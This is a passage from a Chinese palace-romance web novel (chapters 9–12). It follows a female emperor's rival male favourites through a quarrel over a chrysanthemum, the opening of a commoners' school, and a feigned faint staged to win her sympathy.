“诶!你们这是在干什么?这可是我们家大人要的花,你们要搬到哪里去?”
决明站在内务府中,焦急地跺了跺脚。
沈太医让他把那几盆菊花给抱回去做药,眼下花没了,他怎么回去交差呀!
内务府总管解释。
“方才陛下身边的青歌姑娘来了,让把内务府所有开得好的花都送到长春宫去。”
“长春宫?”决明皱了皱眉。
如果他没记错,那里住的应该是苏太傅的堂弟。近来他总听二爷抱怨,没想到竟欺负到他家大爷头上了。
“是。您看要不改日,我再差人给沈太医那边多送几盆菊花过去?”
总管赔笑,笑容略带苦涩。
无论是沈太医还是小苏大人,哪个都是他得罪不起的。
“不必了。”
决明丢下一句话,头也不回地跑了。
-
此刻长春宫偏殿中,热闹非凡。
看着进进出出的宫人,苏文澜勾了勾唇角。
梅花、菊花、兰花、月季、牡丹……
大部分都是内务府精心养在暖房里的,眼下却都搬到他这里了。
“这份恩宠,整个宫里可就大人这一份!”
小梁子喜不自胜。
他是内务府拨过来专门伺候苏文澜的。原本以为这辈子出头无望了,没想到这位主还有这等造化。
闻言,苏文澜眼中得意更甚之前。
嘴上却责备道:“小声些,别叫有心之人听了去。”
“奴婢明白。”
小梁子应着,又看向搬花的宫人:“这盆就别往里面搬了,放在门口。”
宫人听话把那盆贡菊摆在了门口。
这个位置一进门就可以看到,小梁子很满意。
什么红的、绿的,难免俗套,这种淡淡的黄色才最衬他家大人,高贵又清雅。
“小梁子,把这盆放到门外去。”
苏文澜指着一盆红梅。
什么牡丹、菊花,都比不上这么一大盆桃红色的梅花!
小梁子去了许久都没有回来。
苏文澜担心他们粗手粗脚碰坏了红梅,着着急急起身往外走。刚到门口,就听到外面传来嘈杂的争吵声。
“沈、沈侍卫,您怎么来了?”小梁子的声音听起来很惊讶。
沈统语气很冲:“怎么?这长春宫我来不得吗?”
小梁子:“奴婢不是这个意思。只是苏大人正在休息,您若是有事,容奴婢进去同通传一声。”
沈统冷哼一声:“你家大人尊贵,我一小小侍卫,哪敢惊扰了他。”
“那您今天来这是?”小梁子问。
沈统被他噎了一下。
脖子和脸气得通红,他一把推开挡在前面的小梁子,闷着头往里走:“我有话和他说。”
小梁子压根就拦不住沈统。
沈统一路横冲直撞,通畅无阻地到了门口,正好与往外走的苏文澜对上了眼。
苏文澜对他微笑颔首。
尽管方才沈统和小梁子的对话,他都听到了,但还是装作不知情的样子。
沈统看到门口那抹扎眼的桃红色,脸色就是一沉。
闷着头没理他,继续往里走。苏文澜也不拦,他就这样进了屋。
一进屋,就看到了那盆贡菊,顿时怒火中烧。
偏苏文澜毫无察觉,还摆出一副男主人的架势。
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在一旁乔声怪气:“沈侍卫你随便坐。小梁子,快去给沈侍卫倒茶。”
“不必了。”沈统干脆拒绝。
沈统抬手指了指那盆贡菊。
“这个我要带走。”
要不是决明来找他,他都不知道苏文澜都欺负到大哥头上来了。他才进宫几天,竟嚣张到这个地步。
闻言,原本和气的苏文澜立马收了笑。
“那可不行,这是陛下赏给我的。”
似乎还嫌沈统的脸不够黑,又继续道:“若是沈侍卫想要,就去找陛下吧。”
“你!”沈统气得攥紧了拳。
额间青筋凸起,原本刚毅的面容,此刻看起来异常狰狞。
苏文澜小退半步。
嘴上却还在煽风点火:“沈侍卫莫要生气,咱们兄弟都是为陛下做事,自然应该以和为贵。你这般暴躁冲动,以后还怎么为陛下分忧?”
追过来的小梁子看见这一幕。
站在门口多嘴多舌附和道:“沈侍卫,你可不要欺负我家大人脾气——”
只见沈统双目通红,喘着粗气,显然是气急了。
一拳把那碍眼的死太监打到一边去,两步并做一步,上前就把那盆贡菊抱在怀里往外跑。
苏文澜没想到沈统这么野蛮粗鲁。
但也不愿意让他拿走贡菊。陛下亲手折给沈太医的红梅他都没有抢,他们凭什么来抢他的。
天底下哪有这样的道理!
情急之下,素来稳重谨慎的苏文澜也顾不得其他了。
上前就与沈统争夺起来。
沈统是武人,苏文澜是文人。
按道理苏文澜应该拦不住沈统,但不知道苏文澜是哪里来的力气,死死扯着沈统的胳膊,使其一时难以脱身。
倒在地上的小梁子趁着这个功夫,也从地上爬起来帮自家主子。
为了一盆贡菊。
三人打得难舍难分,天昏地暗。没有一点想要和解的意思,纯粹都是情绪的输出。
-
御书房内,看着面前站着的两个男人。
陆玄珍脸色阴沉得可怕。
一个两个,都嫌她还不够忙。
沈统也就罢了,打小就是这狗脾气,苏文澜怎么也跟着他一起闹?
她冷声问:“谁先说?”
苏文澜低头抿着嘴不吭声。
沈统上前一步,刚张了张嘴,就吃痛地抽了一口气。他转头狠狠瞪了苏文澜一眼,忍痛开口。
“陛下,您得替大哥做主。”
这里头怎么还有沈太医的事?
一听这话,陆玄珍感觉脑子嗡嗡的,抬手揉了揉太阳穴,倚在木椅靠背上。
“你要朕给沈锐做什么主?”
沈统:“臣只是想帮大哥拿回用来做药的贡菊,可他却横加阻挠,还和宫人把臣打成这个样子。”
说着,他摸了摸挂着血的嘴角。
“是这样吗?”
陆玄珍扭头看向苏文澜。
他情况比旁边的沈统也好不到哪里去,半张脸都肿了,眼角还带着淤青。
苏文澜垂着眼,长睫落下一片阴影。
他刚才怎么突然就冲动了?
早知道会闹到陛下这里,他就让沈统拿走那盆贡菊了。内务府送来了十六盆各式各样的花,少一盆也没什么。
要是陛下因此厌恶他……
9. 第 9 章
想到这种可能,苏文澜心口一紧。
“都是臣不好,只想着爱惜陛下赏赐的花,忘了顾及沈侍卫的情绪。陛下要罚,就罚臣吧,千万不要怪罪沈侍卫。”
随后他抬头看向身侧。
“沈侍卫,臣入宫时日未久,不懂规矩。今日一事,多有得罪,还望你多担待。臣那里应该还有一盆贡菊,晚些时候就给令兄送去。”
沈统感觉怪怪的,但又说不上来。
总之,苏文澜这就是怕了。
更何况他们兄弟两个人。二对一,自然是他们二人在陛下心里的分量要更重些。
“你知道就好。”他得意扬了扬下巴,又眼巴巴看向陆玄珍,“陛下,您快罚他,他都认了。”
陆玄珍看看这个,又看看那个。
一股无名火腾得一下从心底升了起来。不过是让他们一起共事,也能闹成这个样子。成何体统!
“苏文澜,你让朕很失望。”
此话一出,苏文澜脸色变得煞白。
四肢的血液好像被人抽走,失魂地站在原地,等待着最后的宣判。
他从未这般冲动过。
望着那张肖似苏太傅的脸。
陆玄珍心底突然生出些不忍,其实他也没什么错,是沈统蛮横无礼了。
她轻咳一声,改口道:“沈统,你让朕更失望。”
原本洋洋得意的沈统,瞬间被浇了个透心凉,呆呆地看着陆玄珍。
眼底充满了疑惑、不解、失落。
陛下这是怎么了?
苏文澜毫无血色的脸庞,突然有了一分颜色,惊讶地抬头看向陆玄珍。
陆玄珍斥责道。
“你们同僚之间,理应和睦相处。可你们看看自己怎么做的?尤其是你,沈统。仗着自己资历老,就去人家宫里抢东西,你自己说说这样对吗?”
沈统低头耷拉脑:“……不对。”
批评完沈统,她又看向苏文澜。
“苏文澜,朕本以为你稳重、识大体,应该比沈统要懂事。可他胡闹,你也跟着胡闹。以后再碰到这样的事,你就多让着他点。不过是些东西,缺什么只管差人来寻朕,万不可因此伤了和气!”
是非公道,陆玄珍心中自有论断。
见苏文澜也挨了说。
沈统肉眼可见地高兴起来,陛下还是看重他和大哥,没被这小白脸给迷昏了头。
苏文澜正色道:“臣谨记陛下教诲。”
本以为陛下会看在多年情分上偏帮沈统,可陛下没有。看似中立的做法,实际已经有了偏袒。
他心底暗暗高兴。
一场风波,竟这样诡异化解。
意外达成了三人都“满意”的结局。
待两人离开,御书房重新安静下来。
陆玄珍靠在木椅上,长舒一口气:“青歌,你说说他们这又是在闹哪一出?”
目睹了全程的青歌,早就把一切看得清清楚楚。
可她还不能说实话。
她斟酌开口道:“沈侍卫没有坏心,只是情急则乱,怕沈太医没有入药的菊花……”
“好了好了。”
陆玄珍打断了她:“你就别替他说话了,朕和他一起长大,他什么脾性,朕还能不清楚?”
沈统人不坏,就是冒失冲动。
这事她心里门清,沈统无非是担心苏文澜一来,就越过他和沈太医。
可事情不是他想的那样。
况且苏文澜出身微寒,又敏感多心,理应多照顾他情绪一些。
-
“知道自己哪里错了吗?”
沈锐满脸严肃地看着沈统,一股恨铁不成钢的无力涌上心头。
沈统:“大哥,你别生气,我知道错了。”
沈锐无奈地叹了一口气:“算了,以后不要这般贸然行事了。”
也是他不好,好端端地非要炫耀陛下为他折的红梅,平白惹出这么些事。
“我就是气不过。”
沈统咬牙切齿说着,一脸幽怨。
“他才来宫里几天,凭什么这么被陛下看重?若是苏太傅也就罢了,不过只是个冒牌货……”
“好了。”沈锐打断他。
沈统不管,继续道:“如今苏太傅已故,这继皇夫的位子,就该是大哥你的。”
“好了!”沈锐再一次打断。
沈统也来了脾气:“我就要说!陛下心里分明是有我们的,今日一事,陛下一定会厌恶了那姓苏的。”
闻言,向来温和的沈锐,突然嗤笑一声:“我没想到,你竟愚钝至此!”
沈锐毫不留情刺破了他的幻想。
也就沈统看不清,陛下这般处理,实际上早就偏着苏文澜那头了。
对此,沈统一百个不服气。
“陛下都说了,以后再发生这样的事,苏文澜得让着我。我瞧上的东西,他必须双手奉上,这还不是偏着我吗?”
“你!”沈锐气得语塞。
沈统得意道:“大哥,你就瞧着吧!等会那冒牌货就把贡菊送过来了,到时候——”
“沈!统!”沈锐大声打断了他。
他从未这么失态过。
他怎会有这么一个愚钝鲁莽的弟弟?就算那苏文澜和苏太傅长得又几分相似又能如何?
凭他母亲与太上皇后的关系。
只要他不出错,继皇夫的位子早晚有一天会落在他头上。更何况,陛下对他也并非无情。
那支红梅,就是最好的证明。
沈统扬声道:“论情分,我同陛下之间并不比你少。论真心,我对陛下的真心亦是天地可鉴。不过看在你是我兄长的份上,长幼有序,我不同你争!”
“若叫一个冒牌货夺了皇夫之位,我这辈子都不会原谅自己!你这种懦夫,根本就配不上陛下!”
噼里啪啦说了一大堆,沈统自己倒是畅快了。
沈锐被他面色气得铁青。
半晌才憋出一句:“我如何不爱慕陛下了?”
沈统嘲讽道:“你若当真爱慕陛下,就不会如此胆小怕事。”
正当沈锐想要张口反驳的时候。
决明从太医院外跑了进来,气喘吁吁道:“沈太医,那位小苏大人过来了。”
沈统当即雄赳赳气昂昂地就要冲出去,但被沈锐拦下了。
沈锐态度十分强硬:“你回去。要是跟着出来,没我的允许不能说话。”
沈统犹豫片刻,黑着脸点了点头。
兄弟二人出来时。
一眼就看到太医院门前的那道青色身影。
苏文澜也看到了他们
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二人。
他温和笑笑,主动问好:“沈太医、沈侍卫。”
“小苏大人。”沈锐回以微笑,跟在后面的沈统黑着脸没说话。
对此,苏文澜全然不在意。
“小梁子,把东西拿过来。”他回头招呼了声,一个小太监立马抱了一盆贡菊过来。
他笑盈盈地解释。
“这是另外一盆贡菊。先前我只想着那是陛下所赏,不知早有所属,并非有意夺人所爱,望沈太医原谅。”
“无妨,我等同朝为官,自该相互体谅。”
沈锐脸上的笑有点僵。
苏文澜无事沈锐的面色。
自顾自往下说:“本想带些药膏给沈侍卫赔罪,可想到还得麻烦沈太医,我就不折腾这一遭了。”
他又看向沈统:“沈侍卫,之前是我行事冲动了,向你赔个不是。”
沈统和个柱子一样,杵在沈锐身后,完全不理苏文澜。
苏文澜也不在意。
只是和气地笑着:“沈太医、沈侍卫,贡菊送到了,就不多打扰了。”
这一套下来,苏文澜是面面俱到了,可却衬得沈家两兄弟仗势欺人。
见苏文澜准备离开,沈锐连忙将人喊住:“小苏大人留步。”
不等对方反应,丢下一句“我进去取个药膏”,便一头扎进了太医院。
出来后,不由分说就把一个精致小瓷罐塞入苏文澜手中。
沈锐:“这是我调配的舒痕膏,消肿去疤很管用。小苏大人拿回去,就免得我再跑一趟长春宫了。”
“多谢沈太医。”
苏文澜一脸感激地收下了药膏。
-
因着今天白日里忙着处理苏文澜和沈统那事,耽搁了不少了时间。
陆玄珍又得歇在御书房了。
青歌端着四神乳鸽汤从外面进来,边走边悄悄打量着陆玄珍的脸色。
见她面容平静,小心凑上去。
“陛下,奴婢听说沈太医晚上给小苏大人拿了一盒舒痕膏。”
陆玄珍抬头看她一眼。
“表兄素来识大体,就沈侍卫那脾气,一点都不给朕省心。”
青歌连忙附和着。
“是呀,估计再过上几年,沈侍卫就懂事了。毕竟都是一直跟着陛下的,没有什么坏心。”
“那你觉得……”陆玄珍接过汤,舀了一勺吹了口,“小苏大人有坏心吗?”
青歌手抖了下:“小苏大人刚来没多久,奴婢不了解。”
她喝了一口汤,抿抿唇:“以后他们几个的事,你少掺和。你是朕的人,你若表了态,他们难免会以为这是朕的意思。”
“奴婢、奴婢知错。”青歌惶恐。
陆玄珍:“好了好了,朕没有怪你的意思。是沈侍卫叫你来的?”
青歌:“不是,是、是沈太医。”
“表兄?”陆玄珍放下碗,定定看着她,“他怎么和你说的?”
青歌头都快埋进脖子里了。
“沈太医只让奴婢在陛下面前替沈侍卫说几句好话,旁的就没有了。奴婢也想着他们与陛下这么多年情分,不该因为这种小事生了嫌隙。”
陆玄珍盯着她的脸看了好一会。
什么也没说,只是端起碗把余下的半碗汤喝掉了。
10. 第 10 章
“陛下,钱收上来了,这是明细。”
苏文澜将一本薄薄的册子放到桌子上。
陆玄珍没着急去拿,抬起头看他。
他的脸现在已经不肿了,只是眼角的淤青还未散去,看着还有些吓人。
“还疼吗?”她突然问。
见苏文澜愣着没反应,她抬手指了指:“脸上还疼吗?”
“不疼,很快就好了。”苏文澜扬起唇。
“那就行。”陆玄珍收回眼。
低头翻看起募捐明细,苏家位于首位,数额之多令她惊讶:“苏家这是?”
苏文澜解释:“臣私下劝过父亲。”
“父亲这几日也想了很多,他就堂兄,哦不,大哥一个孩子,如今人不在了,他其实很悲痛……”
“他就想为大哥做些什么。”
“臣就劝,大哥生前最放不下的就是民学,如果民学能够办好,想来大哥在九泉之下也能安心。”
“这样啊。”陆玄珍若有所思。
良久,她抬起头看着苏文澜:“你这事办得挺好,民学有你朕放心,说说有什么想要的赏赐,朕都允你。”
苏文澜微笑:“为陛下分忧,是臣分内之责,臣什么都不——”
陆玄珍手一挥,直接打断他:“朕向来奖罚分明,你也不必客气,直言即可。”
“臣暂时没想好,能不能先留着?”
苏文澜继续补充:“您放心,绝对不会是什么违反法令、让您为难的要求。”
陆玄珍的“行”字还没有说出口,沈统一阵风似的从外面冲了进来,连门都没敲。
他边跑边喊:“陛下,大哥不好了!”
-
沈锐从山上摔下来了。
没什么大事,就是断了一条腿,得在床上躺个把月才能好。
陆玄珍到底是担心沈锐,一听他出事,当即便出宫到沈府了。
刚进门,就瞧见沈锐躺在床上。
双目紧闭,面容惨白,若不是胸口微微起伏,她都怀疑这是一具尸体。
她心口一紧,快步走到床前。
拉起他的手,仔仔细细将人从头到脚打量了一遍,才松口气:“表兄,朕这一路都很担心你。”
沈锐本来闭着眼,听到是她,另只手撑着床榻支起上半身:“是臣不好,让陛下担心了。”
“这有什么不好,你是朕表兄,朕自然担心你安危。你好端端的去山上做什么?怎就摔了腿?”
她眉头紧锁,眼睛紧紧粘在沈锐受伤的那条腿上。
会不会是有人故意谋害沈锐?就像那场刺杀一样……
但这个想法刚冒出头,就被沈锐打消了。
“陛下,臣想上山去请凌天道长,结果雪天路滑,回来时不小心翻了车,连人带马摔下了山,好在臣福大命大,没什么大事,就是腿上受了点伤。”
沈锐故作轻松。
陆玄珍脸色沉了沉:“你请凌天道长做什么?”
都这么严重了,他怎么就一点都不把自己的性命当回事!
“臣看民学准备的都差不多了,很快就能开学,就想去请凌天道长看看哪天开学最合适,毕竟这可是大事,选个好日子,以后就……”
沈锐原本兴高采烈地说着。
但一抬头看到她脸色,声音随即越来越小,到后面几乎没有声音了。
“表兄,你答应过朕,要一直陪着朕。你怎么可以这么不在意自己?”
陆玄珍的声音隐隐带上怒意。
在她心里,表兄是她的家人、亲人,她已经失去苏太傅了,不能再失去在意的人了。
她在乎沈锐,很在乎。
“陛下,臣真的没什么事……”
“朕很担心你,真的很担心。沈统告诉朕这件事的时候,朕的心都在颤,这会儿才好些。”
想到沈锐差点死掉,她不由自主攥紧了他的手。
沈锐手背立马被掐出几道红印。
他愣了愣,嘴唇翕动,喃喃:“都是臣不好,臣以后不会让陛下这样担心了。”
陆玄珍看他几眼,欲言又止。
最终轻叹一口:“伤筋动骨一百天,这些日子,你就在这里好好养伤吧。”
沈锐低着头,视线落在她握着他的那只手上,双颊通红。
“臣都听您的,现在时候不早了,您公务繁忙,还是早些回去。”
陆玄珍顿了下,拍了拍他手背,松了手:“行,你听朕的,朕也听你的。”
扭头又看向门口:“沈统,这几日你就不必回宫了,留在沈府替朕照顾好表兄。”
“……是。”沈统黑着脸,硬硬憋出一个字。
陆玄珍起身朝外去,走到门口,听到沈锐在身后说:“陛下,凌天道长说后日巳时最佳。”
她停了下脚步,回头应道:“好,朕记下了。”
沈统目送着陆玄珍离开。
直到再也看不到人,才不舍收回眼,走到床边一脸幽怨地看着沈锐。
“大哥,你到底要干什么?”
“不干什么。”沈锐边说边躺下去。
沈统生气责怪他。
“我还以为你终于想通了,叫我去喊陛下。你倒好,我把人喊来了,你又来这套,还连累我也好几日见不着陛下。”
沈锐翻了个身,只留给他个黑漆漆的后脑勺。
沈统当即更恼火了:“你知不知道现在那姓苏的冒牌货还在宫里头!”
沈锐扭过头瞥他眼:“娘生你的时候该多吃些核桃。”
-
“陛下您可算回来了,御膳房那边一直温着菜,奴婢这就给您端上来。”
一进养心殿,青桃就迎上来。
陆玄珍点了个头,边走边解披风,突然她手上动作一顿,回过头看着青桃:“小苏大人那边传过晚膳了吗?”
青桃一愣,反应过来后摇了摇头。
陆玄珍解开了披风:“那就叫过来一起。”
“是。”青桃接过披风,往外去。
很快,苏文澜从外面进来了。
陆玄珍微笑着示意:“坐吧。”
“谢陛下。”苏文澜小心翼翼在她对面坐下。
“这么晚了,怎么还没用晚膳?”陆玄珍先开口问了句。
苏文澜不好意思地低下头。
好一会才重新抬起脸,只是脸颊微红:“说出来您可能不信,但臣一整个下午都在担心。担心沈太医的腿,担心沈侍卫的情绪,也担心您的心情。”
“你担心的倒挺多。”陆玄珍哑然,“就因为
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这个吃不下饭了?”
“那倒不是,臣吃的本来就不多。”苏文澜真诚道。
陆玄珍视线落在他身上。
虽然冬日穿了层袄子,但依旧能看到模糊轮廓,清瘦的身子,修长的腿,以及盈盈细腰。
她想起那夜和苏太傅在醉心湖上,眼神突然暗下来。
“以后多吃些。”她顿了下,“你太瘦了。”
苏文澜低头看了眼自己胳膊。好像是有些瘦,陛下是在关心他吗?
他眼睛瞬间亮晶晶的,可一想到她两次都因沈锐把他撇下,眸子又一点一点暗下去。
“臣遵命。”他闷闷应了声,把脸埋进碗里吃饭。
陆玄珍有些心不在焉,目光轻轻落在他的眉眼、手指、脖颈、腰上。
她眯了眯眼,试图驱散这些念头
她不该想这些,不该这样的,不可以对着一个人想另一个人。这对苏太傅不公平,对苏文澜也不公平。
可她越不想,那些片刻就越清晰。
她声音突然冷下来:“吃完了就早些回去吧。”
苏文澜吓了一跳,以为是哪里没做好惹了她厌恶。
当即把脸从碗里抬起来,恰好对上她冷冰冰的眸子,后牙瞬间打了个颤:“陛下,臣、臣哪里……”
陆玄珍见他一脸惶恐,声音缓了些:“时候不早了,朕累了,你不要多想。”
“是。”苏文澜应了声,垂着头退了下去。
偌大的养心殿只剩陆玄珍一人。
她心里空落落的,那夜醉心湖的经历,又浮现在眼前。
那会苏太傅从江州回京,她还在东海剿匪,她便让人把苏太傅接到东海。
东海有一处僻静的湖湾叫醉心湖。
睡不着的时候,她就会拉着苏太傅湖中央,肩并肩靠在小舟里看月亮。
她记得那晚的月亮很亮很圆,细碎的月光洒落在苏太傅的发丝上、脸庞上,很美。
她轻轻吻了他一口。
月光下的湖心荡起一圈一圈涟漪,直到东方天色渐白,湖面才重新归于平静。
她还以为那样好的日子还有很多,他们会永远像那天一样快乐。
他们还有可以一起看很多次日出,甚至还有机会再回到醉心湖上的小舟里。
可是,斯人已逝。
风吹月影摇,簌簌大雪落,疑似旧人入梦来。
-
苏文澜行事与苏太傅毫无二致,不过两日就已筹备完民学的开学。
此时,他正站在御书房内。
“陛下,一会民学开学礼您来吗?”
“当然来。”陆玄珍立马放下笔,取下衣架上的披风,疾步往外头去。
她得替苏太傅好好看看。
苏文澜得意扬起唇:“好。”
民学位于皇宫门前的街上。
此处原是一位王爷府邸,但后来那位王爷去了封地,这里就空置下来。
因民学学子大多是寒门子弟,出入皇宫并不方便,就把这里改成了民学。
刚出宫门没几步,陆玄珍就看到蒙着红布的牌匾,还有府门前簇拥着的大片青绿色。
正是穿着学服的新学子们。
那群孩子瞧见他们,高兴地挥起手:“苏夫子!苏夫子!”
11. 第 11 章
陆玄珍诧异道:“看样子小苏大人这段日子下了不少功夫啊。”
要不然学子们怎会对他这么信任?
苏文澜一直落后陆玄珍半个身位,这会见她转过来和他说话,立马往前小半步,方便她看自己。
他微微一笑:“都是臣分内之事。”
陆玄珍笑了一声。
转身大步朝前走去:“你不必谦虚,快带朕看看,要是做得当真不错,朕必有重赏!”
苏文澜疾步跟上。
两人一前一后到了民学府前。
原本翘首盼望着的学子们反倒害羞了,一个个都把双手交叠在身前,揉搓着青绿色的衣角,连声同他问好。
陆玄珍在里面看到了几个熟面孔。
“陆大人您怎么来了!”一阵风扬起,荷叶站在她身前。
陆玄珍穿的是常服,是以荷叶并不知晓她的真实身份。
她笑着看荷叶:“没搬走?”
“这里是我的家,我才不要走。大人,我和我爹娘说好了,等我学出个名堂,就带他们过好日子。”
荷叶低头踢了下小石子,低声说:“要是有机会我还想见见皇上呢。”
陆玄珍哑然:“你见皇上做什么?”
荷叶脸上一红,小声说:“她是个好人。”
“哦?”她挑挑眉,好奇打量着她。
这算什么理由,到底是个小姑娘,脑子里竟是些稀奇古怪的想法。
荷叶抿抿唇:“因为我想记住。”
她一脸认真,仿佛在说天底下最神圣的事情。
她顿了顿,又继续说:“皇上她一定是个很好很好的人,她让我们上学、吃饱、穿暖,我想报答,我想记住恩人的模样。”
陆玄珍突然改了主意。
她温柔笑笑:“陛下也很期待见到你们,她希望来年春日的时候,可以在金銮殿上与你们相见,亲自为你们授官。”
荷叶的眼睛一下亮晶晶的:“我会的,一定会的。”
“陆大人,仪式要开始了。”
苏文澜走过来,他一直关注着两人的动静,意识到陆玄珍不想暴露身份后,立马配合着。
“快去吧。”陆玄珍冲荷叶微微颔首,走到一旁人群中,默默注视台上。
今日民学正式成立,主持者是新任太学博士苏文澜。
他站在台上,一袭青衣,头顶白玉冠,君子如玉,周身散发着淡淡的光,宛若九天上的谪仙。
这样的场景美得好似一幅画。
原本只在她梦中出现过,但现在美梦成真了,只有一点美中不足。但人生海海,山山而川,又怎能求事事如意。
她嘴角露出一抹释然的微笑。
“最后祝各位学子来年金榜题名!”
苏文澜话音刚落,台下响起热烈的掌声。
陆玄珍猛得回过神。
视线从众人脸上扫过,希望、期盼、坚韧……很多人激动到脸色通红。一片生机勃勃中,她好像重新活过来了。
她也不由自主跟着鼓起掌,全然不顾被拍红的掌心。
她真的很高兴!
陆玄珍本能地望向天空,眼睛突然刺痛了下。她眨了眨眼,将目光收回来,重新往向台上。
开学礼结束以后。
苏文澜走到她身边:“大人,今日没什么事情了,要过一段时间后再根据情况分文武,现在他们什么都要学一些。”
陆玄珍点点头,朝皇宫走去。
待进了宫门,她突然出声问:“授课的夫子和武师傅都安排好了吗?”
-
马场上,陆玄珍一袭黑色劲装,骑在一匹红马上遥遥领先。
翠芽和荷叶骑马紧随其后,却一直被落下段距离。
很快,陆玄珍率先抵达终点。
苏文澜微笑站在终点旁,他一身青色长袍,在阳光下荧荧发光,恬静又美好。
陆玄珍不由扬起唇邀请道:“小苏大人要不要来试试?”
苏文澜一愣,旋即摇头:“不了,我不会骑马。”
“还有苏夫子不会的!”
“那还是陆师傅更厉害一些喽?”
这会荷叶和翠芽赶上来,躲在后面小声嘀咕,时不时往他们这边看一眼。
陆玄珍悉数听入耳中。
她眼神闪了闪,最终落在了苏文澜眼尾那颗小痣上。
他和太傅很像。
不单是容貌,还有脾性,唯一美中不足的是苏文澜过于敏感胆小,不似他堂兄落落大方。
或许这和他们在苏家的地位有关。
想到苏文澜乃外室所生,陆玄珍看他的眼神不由带上些怜惜。
不该是这样的。
于是,她鬼使神差般朝他伸出手:“过来。”
苏文澜愣住原地。
直到陆玄珍再一次催促:“快过来,我带你。”
他才堪堪回过神,小心翼翼地把缩在袖中的手从拿了出来。
两人肌肤相触的一瞬间,苏文澜仿佛被雷电击中,整个人定在原地。
她的掌心有些粗糙,可也很温暖,苏文澜一时说不出是什么感受。
不等他多想,人就被捞到马背上。
此马本是烈马,本性并非温顺。
眼下突然上来个生人,苏文澜还未坐稳,它就打了个响亮的响鼻,前蹄在原地焦躁地踏来踏去,似乎想要把人甩下去。
苏文澜身体也跟着摇晃起来。
身前是陆玄珍笔直的背,身后是一片空旷的虚无。
他当即陷入进退两难的境地。
好在陆玄珍没想为难他。
她抬手拍拍马头,原本焦躁不安的马儿立马安分下来,温顺如绵羊。
“莫怕,有我在呢。”
陆玄珍微微侧过头:“抱紧,小心一会掉下去。”
后面的苏文澜犹豫不决。
虽然他很想靠在她的背上,虽然她也同意了,可……
“驾!驾!!”
陆玄珍没给他过多思虑的时间,双腿一夹马腹,两人一马就像离弦的箭一般飞了出去。
苏文澜控制不住惊呼了一声。
双手本能从后面环住她的腰,整个人紧紧贴在她的背后,她平稳的心跳声清晰可听。
砰砰、砰砰——
他心脏跳得飞快,几乎要从嗓子里飞出来。余光中,两侧树木不断向后狂奔着。
头顶乍然传来声轻笑。
陆玄珍低头瞥了眼腰间那双微微颤抖的手臂,眼底划过一抹笑意。
怎就怕成这样?
他兄长苏太傅虽也是文官,却擅骑射。
从前他们比试过很多场,每次都是她赢,苏太傅也每次都笑着说要好好练,这辈子总要赢她回。
她当时是怎么
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说的呢。
陆玄珍仔细回想着。
她那天骄傲地扬起头,高声说她会等着这天。
现在想来,输赢也没那么重要,早知道就让太傅一回了。
陆玄珍嘴角的笑一点一点淡下来,眼前视线突然变得有些模糊,她咬了咬牙,马场上霎时只能看见一道残影。
她耳边风声呼啸,天地间仿佛只剩她一人。
直到——
“陛下,臣不行了……”苏文澜微弱的声音从身后传来。
陆玄珍乍然回过神,急急停下马,还未来得及转身,肩头一重。
她心下微沉:“小苏大人?”
此时,苏文澜双眼紧闭,一脸惨白,只有胸口微微的起伏证明他还活着。
“小苏大人!”陆玄珍有些懊悔。
方才她太过入神,忘了苏文澜还在后面,一时竟没轻没重。
陆玄珍先翻身下了马,再把马背上的苏文澜抱了下来。见他还昏着,她想了想,继续把人抱在怀里。
也是她不好。
总是一而再再而三伤害到小苏大人。
苏文澜其实是醒着的。
他把头乖巧靠在陆玄珍肩上。
虽然不知道她为什么突然间性情大变,但他猜测应该和堂兄有关。他是不会放弃任何一个和陛下亲近的机会的。
荷叶和翠芽也凑过来。
“陆师傅,苏夫子他怎么了?”
“他、他是不是有什么隐疾,他还好吗?”
然后。
苏文澜感觉自己鼻下多了根手指。
“没事,还活着。”陆玄珍如是说。
“那就好、那就好。”荷叶和翠芽长舒一口气。
陆玄珍:“今日你们先自己练习,我带你们苏夫子先回去了。”
她说着,低头瞥了眼怀中。
看着那张清瘦的脸,微微叹了一口气。
-
长春宫偏殿内。
“表兄,小苏大人如何了?”见沈锐把完脉,陆玄珍焦急上前问。
沈锐垂眸道:“没什么大碍,只是体虚,受惊了。”
陆玄珍顿了顿,又问:“那他……什么时候能醒?”
“说不准。”沈锐沉声道。
他坐在床前,静静盯着苏文澜的脸,察觉到他睫毛微微颤动了下,眼神骤然暗下来。
陆玄珍没再说话,只是时不时往这边望一眼。
两人谁都没再出声,只有床榻上传出的并不平稳的呼吸声。
沈锐心里很不是滋味。
先前是他高估了自己,也低估了苏文澜。
“表兄你——”
“陛下您——”
陆玄珍和沈锐突然同时说话,又同时收了声,两人对视良久。
沈锐主动说:“陛下您吩咐。”
陆玄珍稍作犹豫:“你先回吧,朕在这里陪他会。”
原是她不好,把人吓到了。所以她就想着等人醒了,第一时间和他说说话。
至于赔不是?
她堂堂帝王,自然拉不下这个脸。留在这里陪着,已算是她的诚意了。
沈锐嘴唇抖了下,艰难地应道:“是。”
他提着药箱,一步三回头地往外走,走到门口又转过身,临闭门前又往回看了眼,满脸的欲言又止。
罢了,还是找二弟去,二弟懂他。
12. 第 12 章
苏文澜早就醒了。
或是说,他根本就是在装晕。为了帝王的怜惜,便是用些上不得台面的手段又如何?
听到陆玄珍赶走沈锐,亲自在这里守着,他心下一阵窃喜,甚至对自己接下来的计划信心倍增。
陛下总归是在意他的。
掐着时间。
苏文澜从床上幽幽转醒,一脸迷茫望向坐在床榻边的陆玄珍。
声音沙哑地轻呼:“陛下……”
“你醒了!”见他醒来,陆玄珍一喜,连忙凑上去查看。
她身上淡淡的香气扑面而来,俊俏的眉眼徒然在眼前放大。
苏文澜瞳孔一时失了神。
陆玄珍对此毫无察觉。
看着苏文澜苍白的脸庞,眼底划过一抹愧疚:“那会是朕孟浪了,没顾及到你的身子。”
苏文澜愣住,几乎忘了呼吸。
陆玄珍伸手贴在了他的额头上,试完她又把手收回,贴在自己额前,纳闷起来:“也不烫啊。”
苏文澜终于意识到发生了什么。
他苍白到病态脸,此刻肉眼可见地“红润”起来。
他身子晃了晃,朝她倒去。
同时一脸惶恐,声音颤抖起来:“臣不是故意的,臣只是、只是此前从未骑过马,未曾想给陛下添乱……”
陆玄珍本想躲开的。
但瞥见他那泛红的眼尾时,一下就定在了原处,任由那人倒在怀里。
苏文澜乌黑柔顺的长发散落在身后,身上的里衣不知何时滑落了些,清瘦的肩膀若隐若现。
而他,正低着头,楚楚可怜。
虽然这样形容有些不够准确,但陆玄珍此刻实在想不出其他词了。
她突然想起那夜醉心湖。
